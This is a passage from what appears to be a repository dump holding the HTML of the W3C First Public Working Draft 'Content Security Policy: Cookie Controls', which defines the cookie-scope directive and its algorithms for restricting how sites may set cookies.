id=\"acknowledgements\">Acknowledgements</h2>\n\n  Mark Nottingham proposed this directive several years ago. Sorry it took so\n  long, Mark!\n</section>\n"
  },
  {
    "path": "cookies/published/FPWD.html",
    "content": "<!doctype html><html lang=\"en\">\n <head>\n  <meta content=\"text/html; charset=utf-8\" http-equiv=\"Content-Type\">\n  <title>Content Security Policy: Cookie Controls</title>\n  <link href=\"default.css\" rel=\"stylesheet\" type=\"text/css\">\n  <link href=\"https://www.w3.org/StyleSheets/TR/W3C-WD\" rel=\"stylesheet\" type=\"text/css\">\n  <meta content=\"Bikeshed 1.0.0\" name=\"generator\">\n </head>\n <body class=\"h-entry\">\n  <div class=\"head\">\n   <p data-fill-with=\"logo\"><a class=\"logo\" href=\"http://www.w3.org/\"> <img alt=\"W3C\" height=\"48\" src=\"https://www.w3.org/Icons/w3c_home\" width=\"72\"> </a> </p>\n   <h1 class=\"p-name no-ref\" id=\"title\">Content Security Policy: Cookie Controls</h1>\n   <h2 class=\"no-num no-toc no-ref heading settled\" id=\"subtitle\"><span class=\"content\">W3C First Public Working Draft, <time class=\"dt-updated\" datetime=\"2015-12-15\">15 December 2015</time></span></h2>\n   <div data-fill-with=\"spec-metadata\">\n    <dl>\n     <dt>This version:\n     <dd><a class=\"u-url\" href=\"http://www.w3.org/TR/2015/WD-csp-cookies-1-20151215/\">http://www.w3.org/TR/2015/WD-csp-cookies-1-20151215/</a>\n     <dt>Latest version:\n     <dd><a href=\"http://www.w3.org/TR/csp-cookies/\">http://www.w3.org/TR/csp-cookies/</a>\n     <dt>Editor's Draft:\n     <dd><a href=\"https://w3c.github.io/webappsec-csp/cookies/\">https://w3c.github.io/webappsec-csp/cookies/</a>\n     <dt>Feedback:\n     <dd><span><a href=\"mailto:public-webappsec@w3.org?subject=%5Bcsp-cookies%5D%20YOUR%20TOPIC%20HERE\">public-webappsec@w3.org</a> with subject line “<kbd>[csp-cookies] <i data-lt=\"\">… message topic …</i></kbd>” (<a href=\"http://lists.w3.org/Archives/Public/public-webappsec/\" rel=\"discussion\">archives</a>)</span>\n     <dt class=\"editor\">Editor:\n     <dd class=\"editor p-author h-card vcard\" data-editor-id=\"56384\"><a class=\"p-name fn u-email email\" href=\"mailto:mkwst@google.com\">Mike West</a> (<span class=\"p-org org\">Google Inc.</span>)\n    </dl>\n   </div>\n   <div data-fill-with=\"warning\"></div>\n   <p class=\"copyright\" data-fill-with=\"copyright\">©2015 Google, Inc.</p>\n   <hr title=\"Separator for header\">\n  </div>\n  <h2 class=\"no-num no-toc no-ref heading settled\" id=\"abstract\"><span class=\"content\">Abstract</span></h2>\n  <div class=\"p-summary\" data-fill-with=\"abstract\">\n   <p>This document defines mechanisms by which web developers can limit the ways\n\nin which cookies may be set in the context of their sites and applications.</p>\n  </div>\n  <h2 class=\"no-num no-toc no-ref heading settled\" id=\"status\"><span class=\"content\">Status of this document</span></h2>\n  <div data-fill-with=\"status\">\n   <p> <em>This section describes the status of this document at the time of\n  its publication. Other documents may supersede this document. A list of\n  current W3C publications and the latest revision of this technical report\n  can be found in the <a href=\"http://www.w3.org/TR/\">W3C technical reports\n  index at http://www.w3.org/TR/.</a></em> </p>\n   <p> This document was published by the <a href=\"http://www.w3.org/2011/webappsec/\">Web Application Security Working Group</a> as a Working Draft. This document is intended to become a W3C Recommendation. </p>\n   <p> The (<a href=\"http://lists.w3.org/Archives/Public/public-webappsec/\">archived</a>) public mailing list <a href=\"mailto:public-webappsec@w3.org?Subject=%5Bcsp-cookies%5D%20PUT%20SUBJECT%20HERE\">public-webappsec@w3.org</a> (see <a href=\"http://www.w3.org/Mail/Request\">instructions</a>)\n\tis preferred for discussion of this specification.\n\tWhen sending e-mail,\n\tplease put the text “csp-cookies” in the subject,\n\tpreferably like this:\n\t“[csp-cookies] <em>…summary of comment…</em>” </p>\n   <p> This document is a <strong>First Public Working Draft</strong>. </p>\n   <p> Publication as a First Public Working Draft does not imply endorsement by the W3C\n  Membership. This is a draft document and may be updated, replaced or\n  obsoleted by other documents at any time. It is inappropriate to cite this\n  document as other than work in progress. </p>\n   <p> This document was produced by the <a href=\"http://www.w3.org/2011/webappsec/\">Web Application Security Working Group</a>. </p>\n   <p> This document was produced by a group operating under\n\tthe <a href=\"http://www.w3.org/Consortium/Patent-Policy-20040205/\">5 February 2004 W3C Patent Policy</a>.\n\tW3C maintains a <a href=\"http://www.w3.org/2004/01/pp-impl/49309/status\" rel=\"disclosure\">public list of any patent disclosures</a> made in connection with the deliverables of the group;\n\tthat page also includes instructions for disclosing a patent.\n\tAn individual who has actual knowledge of a patent which the individual believes contains <a href=\"http://www.w3.org/Consortium/Patent-Policy-20040205/#def-essential\">Essential Claim(s)</a> must disclose the information in accordance with <a href=\"http://www.w3.org/Consortium/Patent-Policy-20040205/#sec-Disclosure\">section 6 of the W3C Patent Policy</a>. </p>\n   <p> This document is governed by the <a href=\"http://www.w3.org/2015/Process-20150901/\" id=\"w3c_process_revision\">1 September 2015 W3C Process Document</a>. </p>\n   <p></p>\n  </div>\n  <div data-fill-with=\"at-risk\"></div>\n  <h2 class=\"no-num no-toc no-ref heading settled\" id=\"contents\"><span class=\"content\">Table of Contents</span></h2>\n  <div data-fill-with=\"table-of-contents\" role=\"navigation\">\n   <ul class=\"toc\" role=\"directory\">\n    <li>\n     <a href=\"#intro\"><span class=\"secno\">1</span> <span class=\"content\">Introduction</span></a>\n     <ul class=\"toc\">\n      <li><a href=\"#examples\"><span class=\"secno\">1.1</span> <span class=\"content\">Examples</span></a>\n     </ul>\n    <li>\n     <a href=\"#cookie-scope-directive\"><span class=\"secno\">2</span> <span class=\"content\">The <code>cookie-scope</code> directive</span></a>\n     <ul class=\"toc\">\n      <li><a href=\"#monkey-patching-rfc6264\"><span class=\"secno\">2.1</span> <span class=\"content\">Processing Model</span></a>\n     </ul>\n    <li>\n     <a href=\"#algorithms\"><span class=\"secno\">3</span> <span class=\"content\">Algorithms</span></a>\n     <ul class=\"toc\">\n      <li><a href=\"#block-cookie\"><span class=\"secno\">3.1</span> <span class=\"content\"> Is <var>cookie</var> blocked for <var>settings</var>? </span></a>\n      <li><a href=\"#violates\"><span class=\"secno\">3.2</span> <span class=\"content\"> Does <var>cookie</var> violate <var>policy</var>? </span></a>\n      <li><a href=\"#parse\"><span class=\"secno\">3.3</span> <span class=\"content\"> Parse <var>string</var> as a <code>cookie-scope</code> value </span></a>\n     </ul>\n    <li>\n     <a href=\"#security-considerations\"><span class=\"secno\">4</span> <span class=\"content\">Security Considerations</span></a>\n     <ul class=\"toc\">\n      <li><a href=\"#existing\"><span class=\"secno\">4.1</span> <span class=\"content\">Existing Cookies</span></a>\n     </ul>\n    <li><a href=\"#acknowledgements\"><span class=\"secno\">5</span> <span class=\"content\">Acknowledgements</span></a>\n    <li>\n     <a href=\"#conformance\"><span class=\"secno\"></span> <span class=\"content\">Conformance</span></a>\n     <ul class=\"toc\">\n      <li><a href=\"#conventions\"><span class=\"secno\"></span> <span class=\"content\">Document conventions</span></a>\n      <li><a href=\"#conformant-algorithms\"><span class=\"secno\"></span> <span class=\"content\">Conformant Algorithms</span></a>\n     </ul>\n    <li>\n     <a href=\"#index\"><span class=\"secno\"></span> <span class=\"content\">Index</span></a>\n     <ul class=\"toc\">\n      <li><a href=\"#index-defined-here\"><span class=\"secno\"></span> <span class=\"content\">Terms defined by this specification</span></a>\n      <li><a href=\"#index-defined-elsewhere\"><span class=\"secno\"></span> <span class=\"content\">Terms defined by reference</span></a>\n     </ul>\n    <li>\n     <a href=\"#references\"><span class=\"secno\"></span> <span class=\"content\">References</span></a>\n     <ul class=\"toc\">\n      <li><a href=\"#normative\"><span class=\"secno\"></span> <span class=\"content\">Normative References</span></a>\n      <li><a href=\"#informative\"><span class=\"secno\"></span> <span class=\"content\">Informative References</span></a>\n     </ul>\n    <li><a href=\"#issues-index\"><span class=\"secno\"></span> <span class=\"content\">Issues Index</span></a>\n   </ul>\n  </div>\n  <main>\n   <section>\n    <h2 class=\"heading settled\" data-level=\"1\" id=\"intro\"><span class=\"secno\">1. </span><span class=\"content\">Introduction</span><a class=\"self-link\" href=\"#intro\"></a></h2>\n    <p><em>This section is not normative.</em></p>\n    <p>Cookies are an HTTP state management mechanism that web developers rely on\n  heavily for important things like authentication. They are also quite fragile,\n  and have scoping rules that don’t mesh well with the <a data-link-type=\"dfn\" href=\"https://tools.ietf.org/html/rfc6454#section-3.2\">origin</a> model that\n  developers are familiar with. Cookies flow freely between <a class=\"idl-code\" data-link-type=\"attribute\" href=\"http://www.w3.org/TR/url/#concept-url-scheme\">scheme</a>s by default, can be set from subdomains or\n  limited to paths, and ignore <a class=\"idl-code\" data-link-type=\"attribute\" href=\"http://www.w3.org/TR/url/#concept-url-port\">port</a>s entirely. The\n  disconnect between cookies and other types of storage opens up a number of\n  risks that are difficult to fully mitigate. See <a data-link-type=\"biblio\" href=\"#biblio-yummy-cookies\">[YUMMY-COOKIES]</a> for some\n  real-world examples of problems that have cropped up in the past.</p>\n    <p>This document defines mechanisms which allow developers to limit the ways in\n  which cookies can be set for a given <a data-link-type=\"dfn\" href=\"https://mikewest.github.io/webappsec/specs/content-security-policy/#protected-resource\">protected resource</a>.</p>\n    <h3 class=\"heading settled\" data-level=\"1.1\" id=\"examples\"><span class=\"secno\">1.1. </span><span class=\"content\">Examples</span><a class=\"self-link\" href=\"#examples\"></a></h3>\n    <div class=\"example\" id=\"example-8a02130f\">\n     <a class=\"self-link\" href=\"#example-8a02130f\"></a> MegaCorp Inc. hosts a number of pages which have no real need to write\n    cookies. Following the principle of least privilege, the clever developers\n    responsible for those pages send the following headers along with every HTTP\n    response, ensuring that no cookies can be set via <code>Set-Cookie</code> or <code>document.cookie</code>: \n<pre><a data-link-type=\"dfn\" href=\"https://mikewest.github.io/webappsec/specs/content-security-policy/#content_security_policy\">Content-Security-Policy</a>: <a data-link-type=\"dfn\" href=\"#cookie-scope\">cookie-scope</a> <a data-link-type=\"grammar\" href=\"#grammardef-none\">none</a>\n</pre>\n    </div>\n    <div class=\"example\" id=\"example-3070c811\">\n     <a class=\"self-link\" href=\"#example-3070c811\"></a> MegaCorp Inc. hosts a number of pages on <code>http://non-secure.example.com</code> which need to write cookies, but don’t need those cookies to span\n    subdomains. The following header ensures that cookies can only be set via <code>Set-Cookie</code> or <code>document.cookie</code> if those cookies are \"host only\" (e.g. the\n    cookie’s <code>domain</code> attribute is empty): \n<pre><a data-link-type=\"dfn\" href=\"https://mikewest.github.io/webappsec/specs/content-security-policy/#content_security_policy\">Content-Security-Policy</a>: <a data-link-type=\"dfn\" href=\"#cookie-scope\">cookie-scope</a> <a data-link-type=\"grammar\" href=\"#grammardef-host\">host</a>\n</pre>\n     <p>That is, the following code would set a cookie:</p>\n<pre>document.cookie = \"key=value\";\n</pre>\n     <p>And the following would not:</p>\n<pre>document.cookie = \"key=value; domain=example.com\";\n</pre>\n    </div>\n    <div class=\"example\" id=\"example-e1a66362\">\n     <a class=\"self-link\" href=\"#example-e1a66362\"></a> MegaCorp Inc. hosts a number of pages on <code>https://secure.example.com</code> which need to write cookies, but don’t need those cookies to span\n    subdomains. They’ll certainly set the <a data-link-type=\"grammar\" href=\"#grammardef-host\">host</a> property, just\n    like the previous example, but since this is a secure site, they also wish\n    to ensure that any cookies they set also contain the <code>secure</code> attribute.\n    They can do so with the following header: \n<pre><a data-link-type=\"dfn\" href=\"https://mikewest.github.io/webappsec/specs/content-security-policy/#content_security_policy\">Content-Security-Policy</a>: <a data-link-type=\"dfn\" href=\"#cookie-scope\">cookie-scope</a> <a data-link-type=\"grammar\" href=\"#grammardef-host\">host</a> <a data-link-type=\"grammar\" href=\"#grammardef-secure\">secure</a>\n</pre>\n     <p>That is, the following code would set a cookie:</p>\n<pre>document.cookie = \"key=value; secure\";\n</pre>\n     <p>And the following would not:</p>\n<pre>document.cookie = \"key=value\";\ndocument.cookie = \"key=value; domain=example.com; secure\";\n</pre>\n    </div>\n   </section>\n   <section>\n    <h2 class=\"heading settled\" data-level=\"2\" id=\"cookie-scope-directive\"><span class=\"secno\">2. </span><span class=\"content\">The <code>cookie-scope</code> directive</span><a class=\"self-link\" href=\"#cookie-scope-directive\"></a></h2>\n    <p><dfn data-dfn-type=\"dfn\" data-export=\"\" id=\"cookie-scope\"><code>cookie-scope</code><a class=\"self-link\" href=\"#cookie-scope\"></a></dfn> is a Content Security Policy <a data-link-type=\"dfn\" href=\"https://mikewest.github.io/webappsec/specs/content-security-policy/#directive\">directive</a> <a data-link-type=\"biblio\" href=\"#biblio-csp\">[CSP]</a> which restricts the <a data-link-type=\"dfn\" href=\"https://tools.ietf.org/html/rfc6265#section-1\">cookies</a> <a data-link-type=\"biblio\" href=\"#biblio-rfc6265\">[RFC6265]</a> which can be set in a particular context. The syntax is described by the\n  following ABNF grammar <a data-link-type=\"biblio\" href=\"#biblio-rfc5234\">[RFC5234]</a> (including the <a data-link-type=\"grammar\" href=\"https://tools.ietf.org/html/rfc7230#section-3.2.3\">RWS</a> rule\n  from <a data-link-type=\"biblio\" href=\"#biblio-rfc7230\">[RFC7230]</a>):</p>\n<pre>directive-name = \"cookie-scope\"\ndirective-value = <a data-link-type=\"grammar\" href=\"#grammardef-scoping-rules\">scoping-rules</a> *( <a data-link-type=\"grammar\" href=\"https://tools.ietf.org/html/rfc7230#section-3.2.3\">RWS</a> <a data-link-type=\"grammar\" href=\"#grammardef-scoping-rules\">scoping-rules</a> )\n<dfn data-dfn-type=\"grammar\" data-export=\"\" id=\"grammardef-scoping-rules\">scoping-rules<a class=\"self-link\" href=\"#grammardef-scoping-rules\"></a></dfn> = \"<dfn data-dfn-type=\"grammar\" data-export=\"\" id=\"grammardef-host\">host<a class=\"self-link\" href=\"#grammardef-host\"></a></dfn>\" / \"<dfn data-dfn-type=\"grammar\" data-export=\"\" id=\"grammardef-http\">http<a class=\"self-link\" href=\"#grammardef-http\"></a></dfn>\" / \"<dfn data-dfn-type=\"grammar\" data-export=\"\" id=\"grammardef-none\">none<a class=\"self-link\" href=\"#grammardef-none\"></a></dfn>\" / \"<dfn data-dfn-type=\"grammar\" data-export=\"\" id=\"grammardef-secure\">secure<a class=\"self-link\" href=\"#grammardef-secure\"></a></dfn>\"\n</pre>\n    <p>The directive has one of four values:</p>\n    <ol>\n     <li data-md=\"\">\n      <p>\"<a data-link-type=\"grammar\" href=\"#grammardef-host\">host</a>\" allows \"host only\" cookies to be set, but will block\n  setting cookies which set a <code>domain</code> attribute.</p>\n     <li data-md=\"\">\n      <p>\"<a data-link-type=\"grammar\" href=\"#grammardef-http\">http</a>\" allows cookies to be set via the <code>Set-Cookie</code> HTTP\n  header, but not via <code>document.cookie</code>.</p>\n     <li data-md=\"\">\n      <p>\"<a data-link-type=\"grammar\" href=\"#grammardef-none\">none</a>\" blocks all cookies.</p>\n     <li data-md=\"\">\n      <p>\"<a data-link-type=\"grammar\" href=\"#grammardef-secure\">secure</a>\" allows cookies to be set with a <code>secure</code> attribute, and will block setting any non-secure cookies.</p>\n    </ol>\n    <p>These values MAY be combined in order to tighten the restrictions on a cookie.\n  That is, if both \"<a data-link-type=\"grammar\" href=\"#grammardef-host\">host</a>\" and \"<a data-link-type=\"grammar\" href=\"#grammardef-secure\">secure</a>\" are\n  present, then cookies may only be set which are both secure and host-only.\n  If \"<a data-link-type=\"grammar\" href=\"#grammardef-none\">none</a>\" is present with any combination of the other values,\n  no cookies may be set.</p>\n    <p class=\"issue\" id=\"issue-6a48c646\"><a class=\"self-link\" href=\"#issue-6a48c646\"></a> Erik Nygren <a href=\"https://lists.w3.org/Archives/Public/public-webappsec/2013Sep/0046.html\">proposed</a> adding <code>path</code> restrictions as well. Is that worthwhile?</p>\n    <h3 class=\"heading settled\" data-level=\"2.1\" id=\"monkey-patching-rfc6264\"><span class=\"secno\">2.1. </span><span class=\"content\">Processing Model</span><a class=\"self-link\" href=\"#monkey-patching-rfc6264\"></a></h3>\n    <p>After step 10 of <a href=\"https://tools.ietf.org/html/rfc6265#section-5.3\">the\n  storage algorithm in Section 5.3 of RFC 6265</a>, a cookie object has been\n  built. Insert the following validation step before proceeding to the current\n  step 11:</p>\n    <ol start=\"11\">\n     <li> If <a href=\"#block-cookie\">§3.1 Is cookie blocked for settings?</a> returns \"<code>Blocked</code>\" when executed upon <var>cookie</var> and the <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/webappapis.html#incumbent-settings-object\">incumbent settings object</a>,\n      abort these steps without modifying the <a data-link-type=\"dfn\" href=\"https://tools.ietf.org/html/rfc6265#section-5.3\">cookie store</a>. \n    </ol>\n    <p class=\"issue\" id=\"issue-c9a345cb\"><a class=\"self-link\" href=\"#issue-c9a345cb\"></a> Monkey patching! Hey, maybe it’s time to reopen that cookie RFC after\n  all, eh @mnot? :)</p>\n    <p class=\"issue\" id=\"issue-00d10186\"><a class=\"self-link\" href=\"#issue-00d10186\"></a> We’ll need a mechanism to restrict reading from <code>document.cookie</code>, but I’d like something less specific than <code>cookie-scope disable-dom-access</code> or something similar. The linked GitHub bug is a proposal\n  that’s a bit more general and widely applicable. <a href=\"https://github.com/w3c/webappsec-csp/issues/42\">&lt;https://github.com/w3c/webappsec-csp/issues/42></a></p>\n   </section>\n   <section>\n    <h2 class=\"heading settled\" data-level=\"3\" id=\"algorithms\"><span class=\"secno\">3. </span><span class=\"content\">Algorithms</span><a class=\"self-link\" href=\"#algorithms\"></a></h2>\n    <h3 class=\"heading settled\" data-level=\"3.1\" id=\"block-cookie\"><span class=\"secno\">3.1. </span><span class=\"content\"> Is <var>cookie</var> blocked for <var>settings</var>? </span><a class=\"self-link\" href=\"#block-cookie\"></a></h3>\n    <p>Given a <a data-link-type=\"dfn\" href=\"https://tools.ietf.org/html/rfc6265#section-1\">cookie</a> (<var>cookie</var>), and an <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/webappapis.html#settings-object\">environment settings\n  object</a> (<var>settings</var>), this algorithm returns \"<code>Allowed</code>\" if <var>cookie</var> can be written, and \"<code>Blocked</code>\" if it violates one or\n  more of <var>settings</var>’s enforced Content Security Policies:</p>\n    <ol>\n     <li data-md=\"\">\n      <p>Let <var>status</var> be \"<code>Allowed</code>\".</p>\n     <li data-md=\"\">\n      <p>For each <var>policy</var> in <var>settings</var>’s <a data-link-type=\"dfn\" href=\"https://mikewest.github.io/webappsec/specs/content-security-policy/#monitored-content-security-policies\">monitored Content\n  Security Policies</a>:</p>\n      <ol>\n       <li data-md=\"\">\n        <p>If <a href=\"#violates\">§3.2 Does cookie violate policy?</a> returns \"<code>Violates</code>\" when executed upon the cookie\n  and <var>policy</var>, <a data-link-type=\"dfn\" href=\"https://mikewest.github.io/webappsec/specs/content-security-policy/#report-a-violation\">report a violation</a>.</p>\n        <p class=\"note\" role=\"note\">Note: We do <em>not</em> touch <var>status</var> here, as we’re\n  only evaluating the monitored policies.</p>\n      </ol>\n     <li data-md=\"\">\n      <p>For each <var>policy</var> in <var>settings</var>’s <a data-link-type=\"dfn\" href=\"https://mikewest.github.io/webappsec/specs/content-security-policy/#enforced-content-security-policies\">enforced Content\n  Security Policies</a>:</p>\n      <ol>\n       <li data-md=\"\">\n        <p>If <a href=\"#violates\">§3.2 Does cookie violate policy?</a> returns \"<code>Violates</code>\" when executed upon the cookie\n  and <var>policy</var>, <a data-link-type=\"dfn\" href=\"https://mikewest.github.io/webappsec/specs/content-security-policy/#report-a-violation\">report a violation</a>, and set <var>status</var> to \"<code>Blocked</code>\":</p>\n      </ol>\n     <li data-md=\"\">\n      <p>Return <var>status</var>.</p>\n    </ol>\n    <h3 class=\"heading settled\" data-level=\"3.2\" id=\"violates\"><span class=\"secno\">3.2. </span><span class=\"content\"> Does <var>cookie</var> violate <var>policy</var>? </span><a class=\"self-link\" href=\"#violates\"></a></h3>\n    <ol>\n     <li data-md=\"\">\n      <p>Let <var>scope</var> be the result of executing <a href=\"#parse\">§3.3 Parse string as a cookie-scope value</a> on <var>policy</var>’s <a data-link-type=\"dfn\" href=\"#cookie-scope\">cookie-scope</a> directive.</p>\n     <li data-md=\"\">\n      <p>If any of the following conditions are met, return \"<code>Violates</code>\":</p>\n      <ol>\n       <li data-md=\"\">\n        <p><var>scope</var> contains \"<a data-link-type=\"grammar\" href=\"#grammardef-host\">host</a>\", and the cookie’s <code>host-only-flag</code> is <code>false</code>.</p>\n       <li data-md=\"\">\n        <p><var>scope</var> contains \"<a data-link-type=\"grammar\" href=\"#grammardef-http\">http</a>\", and the cookie\n  was received from a \"non-HTTP\" API.</p>\n       <li data-md=\"\">\n        <p><var>scope</var> contains \"<a data-link-type=\"grammar\" href=\"#grammardef-none\">none</a>\".</p>\n       <li data-md=\"\">\n        <p><var>scope</var> contains \"<a data-link-type=\"grammar\" href=\"#grammardef-secure\">secure</a>\", and the\n  cookie’s <code>secure-only-flag</code> is <code>false</code>.</p>\n      </ol>\n     <li data-md=\"\">\n      <p>Return \"<code>Does not violate</code>\".</p>\n    </ol>\n    <h3 class=\"heading settled\" data-level=\"3.3\" id=\"parse\"><span class=\"secno\">3.3. </span><span class=\"content\"> Parse <var>string</var> as a <code>cookie-scope</code> value </span><a class=\"self-link\" href=\"#parse\"></a></h3>\n    <p>Given a string (<var>string</var>), this algorithm returns a set of the valid <a data-link-type=\"dfn\" href=\"#cookie-scope\"><code>cookie-scope</code></a> values the string represents. Invalid values are\n  ignored:</p>\n    <ol>\n     <li data-md=\"\">\n      <p><a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#strip-leading-and-trailing-whitespace\">Strip leading and trailing whitespace</a> from <var>string</var>.</p>\n     <li data-md=\"\">\n      <p>Let <var>values</var> be an empty set.</p>\n     <li data-md=\"\">\n      <p>For each <var>token</var> in the list generated by <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#split-a-string-on-spaces\">splitting <var>string</var> on\n  spaces</a>:</p>\n      <ol>\n       <li data-md=\"\">\n        <p>If <var>token</var> matches the grammar for <a data-link-type=\"grammar\" href=\"#grammardef-scoping-rules\">scoping-rules</a>, insert <var>token</var> into <var>values</var>.</p>\n      </ol>\n     <li data-md=\"\">\n      <p>Return <var>values</var>.</p>\n    </ol>\n   </section>\n   <section>\n    <h2 class=\"heading settled\" data-level=\"4\" id=\"security-considerations\"><span class=\"secno\">4. </span><span class=\"content\">Security Considerations</span><a class=\"self-link\" href=\"#security-considerations\"></a></h2>\n    <h3 class=\"heading settled\" data-level=\"4.1\" id=\"existing\"><span class=\"secno\">4.1. </span><span class=\"content\">Existing Cookies</span><a class=\"self-link\" href=\"#existing\"></a></h3>\n    <p>Note that the mechanisms defined here do not protect against cookies that\n  already exist in a user’s <a data-link-type=\"dfn\" href=\"https://tools.ietf.org/html/rfc6265#section-5.3\">cookie store</a>. Those cookies are delivered\n  along with the HTTP request, before Content Security Policy can be delivered\n  and applied. It is possible that future work like <a data-link-type=\"biblio\" href=\"#biblio-csp-pinning\">[CSP-PINNING]</a> might\n  enable these kinds of <i lang=\"la\">a priori</i> restrictions, but, even then,\n  CSP should be seen as a mitigation strategy, layered on top of filters and\n  sanity checks for incoming data.</p>\n   </section>\n   <section>\n    <h2 class=\"heading settled\" data-level=\"5\" id=\"acknowledgements\"><span class=\"secno\">5. </span><span class=\"content\">Acknowledgements</span><a class=\"self-link\" href=\"#acknowledgements\"></a></h2>\n    <p>Mark Nottingham proposed this directive several years ago. Sorry it took so\n  long, Mark!</p>\n   </section>\n  </main>\n  <h2 class=\"no-ref no-num heading settled\" id=\"conformance\"><span class=\"content\">Conformance</span><a class=\"self-link\" href=\"#conformance\"></a></h2>\n  <h3 class=\"no-ref no-num heading settled\" id=\"conventions\"><span class=\"content\">Document conventions</span><a class=\"self-link\" href=\"#conventions\"></a></h3>\n  <p>Conformance requirements are expressed with a combination of\n    descriptive assertions and RFC 2119 terminology. The key words \"MUST\",\n    \"MUST NOT\", \"REQUIRED\", \"SHALL\", \"SHALL NOT\", \"SHOULD\", \"SHOULD NOT\",\n    \"RECOMMENDED\", \"MAY\", and \"OPTIONAL\" in the normative parts of this\n    document are to be interpreted as described in RFC 2119.\n    However, for readability, these words do not appear in all uppercase\n    letters in this specification. </p>\n  <p>All of the text of this specification is normative except sections\n    explicitly marked as non-normative, examples, and notes. <a data-link-type=\"biblio\" href=\"#biblio-rfc2119\">[RFC2119]</a></p>\n  <p>Examples in this specification are introduced with the words \"for example\"\n    or are set apart from the normative text with <code>class=\"example\"</code>,\n    like this: </p>\n  <div class=\"example\" id=\"example-f839f6c8\">\n   <a class=\"self-link\" href=\"#example-f839f6c8\"></a> \n   <p>This is an example of an informative example.</p>\n  </div>\n  <p>Informative notes begin with the word \"Note\" and are set apart from the\n    normative text with <code>class=\"note\"</code>, like this: </p>\n  <p class=\"note\" role=\"note\">Note, this is an informative note.</p>\n  <h3 class=\"no-ref no-num heading settled\" id=\"conformant-algorithms\"><span class=\"content\">Conformant Algorithms</span><a class=\"self-link\" href=\"#conformant-algorithms\"></a></h3>\n  <p>Requirements phrased in the imperative as part of algorithms (such as\n    \"strip any leading space characters\" or \"return false and abort these\n    steps\") are to be interpreted with the meaning of the key word (\"must\",\n    \"should\", \"may\", etc) used in introducing the algorithm.</p>\n  <p>Conformance requirements phrased as algorithms or specific steps can be\n    implemented in any manner, so long as the end result is equivalent. In\n    particular, the algorithms defined in this specification are intended to\n    be easy to understand and are not intended to be performant. Implementers\n    are encouraged to optimize.</p>\n  <h2 class=\"no-num heading settled\" id=\"index\"><span class=\"content\">Index</span><a class=\"self-link\" href=\"#index\"></a></h2>\n  <h3 class=\"no-num heading settled\" id=\"index-defined-here\"><span class=\"content\">Terms defined by this specification</span><a class=\"self-link\" href=\"#index-defined-here\"></a></h3>\n  <ul class=\"indexlist\">\n   <li><a href=\"#cookie-scope\">cookie-scope</a><span>, in §2</span>\n   <li><a href=\"#grammardef-host\">host</a><span>, in §2</span>\n   <li><a href=\"#grammardef-http\">http</a><span>, in §2</span>\n   <li><a href=\"#grammardef-none\">none</a><span>, in §2</span>\n   <li><a href=\"#grammardef-scoping-rules\">scoping-rules</a><span>, in §2</span>\n   <li><a href=\"#grammardef-secure\">secure</a><span>, in §2</span>\n  </ul>\n  <h3 class=\"no-num heading settled\" id=\"index-defined-elsewhere\"><span class=\"content\">Terms defined by reference</span><a class=\"self-link\" href=\"#index-defined-elsewhere\"></a></h3>\n  <ul class=\"indexlist\">\n   <li>\n    <a data-link-type=\"biblio\" href=\"#biblio-csp3\">[CSP3]</a> defines the following terms:\n    <ul>\n     <li><a href=\"https://mikewest.github.io/webappsec/specs/content-security-policy/#content_security_policy\">content-security-policy</a>\n     <li><a href=\"https://mikewest.github.io/webappsec/specs/content-security-policy/#directive\">directive</a>\n     <li><a href=\"https://mikewest.github.io/webappsec/specs/content-security-policy/#enforced-content-security-policies\">enforced content security policies</a>\n     <li><a href=\"https://mikewest.github.io/webappsec/specs/content-security-policy/#monitored-content-security-policies\">monitored content security policies</a>\n     <li><a href=\"https://mikewest.github.io/webappsec/specs/content-security-policy/#protected-resource\">protected resource</a>\n     <li><a href=\"https://mikewest.github.io/webappsec/specs/content-security-policy/#report-a-violation\">report a violation</a>\n    </ul>\n   <li>\n    <a data-link-type=\"biblio\" href=\"#biblio-html5\">[html5]</a> defines the following terms:\n    <ul>\n     <li><a href=\"http://www.w3.org/TR/html5/webappapis.html#settings-object\">environment settings object</a>\n     <li><a href=\"http://www.w3.org/TR/html5/webappapis.html#incumbent-settings-object\">incumbent settings object</a>\n     <li><a href=\"http://www.w3.org/TR/html5/infrastructure.html#split-a-string-on-spaces\">split a string on spaces</a>\n     <li><a href=\"http://www.w3.org/TR/html5/infrastructure.html#strip-leading-and-trailing-whitespace\">strip leading and trailing whitespace</a>\n    </ul>\n   <li>\n    <a data-link-type=\"biblio\" href=\"#biblio-rfc6265\">[rfc6265]</a> defines the following terms:\n    <ul>\n     <li><a href=\"https://tools.ietf.org/html/rfc6265#section-1\">cookie</a>\n     <li><a href=\"https://tools.ietf.org/html/rfc6265#section-5.3\">cookie store</a>\n    </ul>\n   <li>\n    <a data-link-type=\"biblio\" href=\"#biblio-rfc6454\">[rfc6454]</a> defines the following terms:\n    <ul>\n     <li><a href=\"https://tools.ietf.org/html/rfc6454#section-3.2\">origin</a>\n    </ul>\n   <li>\n    <a data-link-type=\"biblio\" href=\"#biblio-rfc7230\">[rfc7230]</a> defines the following terms:\n    <ul>\n     <li><a href=\"https://tools.ietf.org/html/rfc7230#section-3.2.3\">rws</a>\n    </ul>\n   <li>\n    <a data-link-type=\"biblio\" href=\"#biblio-url\">[url]</a> defines the following terms:\n    <ul>\n     <li><a href=\"http://www.w3.org/TR/url/#concept-url-port\">port</a>\n     <li><a href=\"http://www.w3.org/TR/url/#concept-url-scheme\">scheme</a>\n    </ul>\n  </ul>\n  <h2 class=\"no-num heading settled\" id=\"references\"><span class=\"content\">References</span><a class=\"self-link\" href=\"#references\"></a></h2>\n  <h3 class=\"no-num heading settled\" id=\"normative\"><span class=\"content\">Normative References</span><a class=\"self-link\" href=\"#normative\"></a></h3>\n  <dl>\n   <dt id=\"biblio-csp\"><a class=\"self-link\" href=\"#biblio-csp\"></a>[CSP]\n   <dd>Brandon Sterne; Adam Barth. <a href=\"http://www.w3.org/TR/CSP1/\">Content Security Policy 1.0</a>. 19 February 2015. NOTE. URL: <a href=\"http://www.w3.org/TR/CSP1/\">http://www.w3.org/TR/CSP1/</a>\n   <dt id=\"biblio-csp3\"><a class=\"self-link\" href=\"#biblio-csp3\"></a>[CSP3]\n   <dd>Mike West; Daniel Veditz. <a href=\"https://w3c.github.io/webappsec/specs/content-security-policy/\">Content Security Policy</a>. ED. URL: <a 